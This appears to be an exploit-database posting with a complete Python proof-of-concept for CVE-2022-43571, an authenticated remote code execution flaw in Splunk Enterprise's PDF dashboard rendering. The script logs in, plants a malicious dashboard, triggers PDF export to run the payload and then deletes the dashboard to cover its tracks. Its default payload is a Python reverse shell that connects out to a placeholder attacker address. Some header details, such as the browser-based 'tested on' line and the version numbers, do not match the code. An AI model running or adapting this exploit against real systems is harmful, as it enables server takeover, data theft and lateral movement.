=============================================================================================================================================
| # Title     : Splunk Enterprise 8.2.9 / 9.0.2 Authenticated Remote Code Execution via PDF Dashboard Rendering                             |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
| # Vendor    : https://www.splunk.com                                                                                                      |
=============================================================================================================================================

[+] Summary    : CVE‑2022‑43571 is a critical authenticated Remote Code Execution (RCE) vulnerability affecting Splunk Enterprise. 
                 The flaw resides in the SimpleXML dashboard PDF generation process, where insufficient input sanitization allows a privileged authenticated user to inject malicious content into dashboard configurations. 
				 When the affected dashboard is exported to PDF, the injected content may be executed in the context of the Splunk server, potentially leading to full system compromise. 
                 Successful exploitation requires valid Splunk credentials but can result in arbitrary command execution, data exposure, and lateral movement. Splunk has released patches, 
				 and immediate upgrading to a fixed version is strongly recommended.

[+] Usage : 

pip install requests packaging

# For testing only   : python poc.py -u https://splunk.example.com:8000 --username admin --password password --check-only

# To run the exploit : python poc.py -u https://splunk.example.com:8000 --username admin --password password

[+] POC :

#!/usr/bin/env python3

import requests
import random
import string
import re
import sys
import time
import urllib.parse
from typing import Optional, Dict, Tuple
import base64
import json

class SplunkExploit:
    def __init__(self, target_url: str, username: str, password: str, use_inline_query: bool = False):
        self.target_url = target_url.rstrip('/')
        self.username = username
        self.password = password
        self.use_inline_query = use_inline_query
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })

        self.cookie = None
        self.target_app = None
        self.dash_name = None

    def splunk_login(self) -> Optional[str]:
        """Authenticate to Splunk and return session cookie."""
        login_url = f"{self.target_url}/en-US/account/login"

        resp = self.session.get(login_url)
        if resp.status_code != 200:
            print(f"[-] Failed to access login page: {resp.status_code}")
            return None

        cval_match = re.search(r'name="cval"\s+value="([^"]+)"', resp.text)
        if not cval_match:
            print("[-] Could not find cval token")
            return None
        
        cval = cval_match.group(1)

        login_data = {
            'cval': cval,
            'username': self.username,
            'password': self.password,
            'set_has_logged_in': 'false'
        }
        
        resp = self.session.post(
            f"{self.target_url}/en-US/account/login",
            data=login_data,
            allow_redirects=False
        )
        
        if resp.status_code in [302, 200]:

            if 'splunkweb_csrf_token' in self.session.cookies:
                self.cookie = f"splunkweb_csrf_token={self.session.cookies['splunkweb_csrf_token']}"
                print(f"[+] Successfully logged in as {self.username}")
                return self.cookie
        
        print("[-] Login failed")
        return None

    def check_splunk_version(self) -> Tuple[bool, str]:
        """Check if Splunk version is vulnerable."""
        if not self.cookie:
            self.cookie = self.splunk_login()
            if not self.cookie:
                return False, "Login failed"
        
        version_url = f"{self.target_url}/en-US/app/launcher/home"
        headers = {'Cookie': self.cookie}
        
        resp = self.session.get(version_url, headers=headers)
        if resp.status_code != 200:
            return False, f"Failed to access home page: {resp.status_code}"

        version_match = re.search(r'Splunk®\s+([\d\.]+)', resp.text)
        if version_match:
            version_str = version_match.group(1)
            print(f"[+] Found Splunk version: {version_str}")

            from packaging import version as pkg_version
            
            try:
                v = pkg_version.parse(version_str)

                if (pkg_version.parse("8.1.0") <= v <= pkg_version.parse("8.1.11")) or \
                   (pkg_version.parse("8.2.0") <= v <= pkg_version.parse("8.2.8")) or \
                   (pkg_version.parse("9.0.0") <= v <= pkg_version.parse("9.0.1")):
                    return True, f"Vulnerable version found: {version_str}"
                else:
                    return False, f"Non-vulnerable version: {version_str}"
            except Exception as e:
                print(f"[-] Error parsing version: {e}")
                return False, "Could not parse version"
        
        return False, "Could not determine version"

    def gen_inline_splunk_query(self) -> str:
        """Generate an inline Splunk query."""
        row_id_name = self.random_string(8, 16)
        arr_field = self.random_string(8, 16)
        
        rand_count = random.randint(100, 500)
        step = random.randint(2, 15)
        
        col_count = random.randint(3, 10)
        column_names = [self.random_string(8, 16) for _ in range(col_count)]
        
        delimiter = random.choice([';', '|', ':', '#', '!'])
        names_string = delimiter.join(column_names)
        
        query = f"""
        | makeresults count={rand_count}
        | streamstats count as {row_id_name}
        | eval _time = now() - ({row_id_name} * {step}),
               {arr_field} = split("{names_string}", "{delimiter}"),
               sourcetype = mvindex({arr_field}, {row_id_name} % {col_count})
        | chart sparkline count by sourcetype
        """
        
        return query.strip()

    def get_system_index_splunk_query(self) -> str:
        """Get a query using system indexes."""
        rand_tail = random.randint(100, 200)
        index = random.choice(['_internal', '_audit', '_introspection'])
        return f"index={index} | tail {rand_tail} | chart sparkline count by sourcetype"

    def random_string(self, min_len: int = 8, max_len: int = 16) -> str:
        """Generate random alphanumeric string."""
        length = random.randint(min_len, max_len)
        return ''.join(random.choices(string.ascii_letters + string.digits, k=length))

    def get_random_app(self, enabled: bool = True) -> str:
        """Get a random app name (simplified)."""

        common_apps = ['search', 'launcher', 'splunk_monitoring_console']
        return random.choice(common_apps)

    def create_dashboard(self, app: str, dash_name: str, template: str) -> bool:
        """Create a dashboard with malicious template."""
        create_url = f"{self.target_url}/en-US/splunkd/__raw/servicesNS/{self.username}/{app}/data/ui/views"
        
        headers = {
            'Cookie': self.cookie,
            'Content-Type': 'application/x-www-form-urlencoded',
            'X-Splunk-Form-Key': self.get_form_key()
        }
        
        data = {
            'name': dash_name,
            'eai:data': template
        }
        
        resp = self.session.post(create_url, headers=headers, data=data)
        if resp.status_code in [200, 201]:
            print(f"[+] Dashboard '{dash_name}' created successfully")
            return True
        
        print(f"[-] Failed to create dashboard: {resp.status_code}")
        print(f"Response: {resp.text[:500]}")
        return False

    def get_form_key(self) -> str:
        """Extract form key from Splunk page."""
        home_url = f"{self.target_url}/en-US/app/launcher/home"
        headers = {'Cookie': self.cookie}
        
        resp = self.session.get(home_url, headers=headers)
        if resp.status_code == 200:
            match = re.search(r'formKey\s*:\s*"([^"]+)"', resp.text)
            if match:
                return match.group(1)

        return self.random_string(32, 32)

    def export_dashboard(self, app: str, dash_name: str) -> bool:
        """Trigger PDF export of dashboard to execute payload."""
        export_url = f"{self.target_url}/en-US/api/pdfgen/render"
        
        headers = {
            'Cookie': self.cookie,
            'Content-Type': 'application/json',
            'X-Splunk-Form-Key': self.get_form_key()
        }
        
        payload = {
            'serverURL': f"{self.target_url}/en-US",
            'app': app,
            'dashboard': dash_name,
            'width': 1000,
            'height': 800
        }
        
        try:
            resp = self.session.post(
                export_url,
                headers=headers,
                json=payload,
                timeout=30
            )

            print("[+] PDF export triggered (payload execution attempted)")
            return True
            
        except Exception as e:
            print(f"[*] Export request completed (expected if payload executes): {e}")
            return True

    def delete_dashboard(self, app: str, dash_name: str) -> bool:
        """Delete the created dashboard."""
        delete_url = f"{self.target_url}/en-US/splunkd/__raw/servicesNS/{self.username}/{app}/data/ui/views/{dash_name}"
        
        headers = {
            'Cookie': self.cookie,
            'X-Splunk-Form-Key': self.get_form_key()
        }
        
        resp = self.session.delete(delete_url, headers=headers)
        if resp.status_code in [200, 204]:
            print(f"[+] Dashboard '{dash_name}' deleted")
            return True
        
        return False

    def generate_malicious_template(self, payload: str) -> str:
        """Generate malicious dashboard template with payload."""
        if self.use_inline_query:
            splunk_query = self.gen_inline_splunk_query()
        else:
            splunk_query = self.get_system_index_splunk_query()
        
        style_param = random.choice(['lineColor', 'fillColor'])
        escaped_payload = urllib.parse.quote(payload)
        
        template = f"""<dashboard>
    <row>
        <panel>
            <table>
                <search>
                <query>
                    {splunk_query}
                </query>
                </search>
                <format field="sparkline" type="sparkline">
                <option name="{style_param}">{escaped_payload}</option>
                </format>
            </table>
        </panel>
    </row>
</dashboard>"""

        lines = template.split('\n')
        return '\n'.join(line.strip() for line in lines if line.strip())

    def exploit(self, reverse_shell_payload: str = None) -> bool:
        """Execute the full exploit chain."""
        print("[*] Starting Splunk RCE exploit (CVE-2022-43571)")

        print("[*] Attempting to login...")
        if not self.splunk_login():
            return False

        print("[*] Checking Splunk version...")
        is_vuln, msg = self.check_splunk_version()
        print(f"[*] {msg}")
        if not is_vuln:
            print("[-] Target does not appear to be vulnerable")
            return False

        if not reverse_shell_payload:
            # Example Python reverse shell payload
            reverse_shell_payload = """__import__('os').system('python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"YOUR_IP\\\",YOUR_PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"')"""
        
        print(f"[*] Using payload: {reverse_shell_payload[:50]}...")

        print("[*] Generating malicious dashboard template...")
        template = self.generate_malicious_template(reverse_shell_payload)

        self.target_app = self.get_random_app()
        self.dash_name = self.random_string(8, 16)
        
        print(f"[*] Target app: {self.target_app}")
        print(f"[*] Dashboard name: {self.dash_name}")

        print("[*] Creating dashboard...")
        if not self.create_dashboard(self.target_app, self.dash_name, template):
            return False

        print("[*] Triggering PDF export to execute payload...")
        if not self.export_dashboard(self.target_app, self.dash_name):
            print("[-] Failed to trigger export")

        time.sleep(5)

        print("[*] Attempting to cleanup...")
        self.delete_dashboard(self.target_app, self.dash_name)
        
        print("[+] Exploit completed")
        return True

    def cleanup(self):
        """Cleanup created resources."""
        if self.target_app and self.dash_name:
            self.delete_dashboard(self.target_app, self.dash_name)

def main():
    """Main function for standalone execution."""
    import argparse
    
    parser = argparse.ArgumentParser(description='Splunk RCE Exploit (CVE-2022-43571)')
    parser.add_argument('-u', '--url', required=True, help='Splunk base URL (e.g., https://splunk.example.com:8000)')
    parser.add_argument('--username', default='admin', help='Splunk username (default: admin)')
    parser.add_argument('--password', required=True, help='Splunk password')
    parser.add_argument('--inline-query', action='store_true', help='Use inline Splunk query')
    parser.add_argument('--check-only', action='store_true', help='Only check if target is vulnerable')
    
    args = parser.parse_args()

    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    exploit = SplunkExploit(
        target_url=args.url,
        username=args.username,
        password=args.password,
        use_inline_query=args.inline_query
    )
    
    try:
        if args.check_only:
            is_vuln, msg = exploit.check_splunk_version()
            print(f"\n{'='*50}")
            print(f"Check Results: {msg}")
            print(f"{'='*50}")
            sys.exit(0 if is_vuln else 1)
        else:
            success = exploit.exploit()
            sys.exit(0 if success else 1)
            
    except KeyboardInterrupt:
        print("\n[*] Exploit interrupted by user")
        exploit.cleanup()
        sys.exit(1)
    except Exception as e:
        print(f"\n[-] Error: {e}")
        exploit.cleanup()
        sys.exit(1)

if __name__ == "__main__":
    main()
	
Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================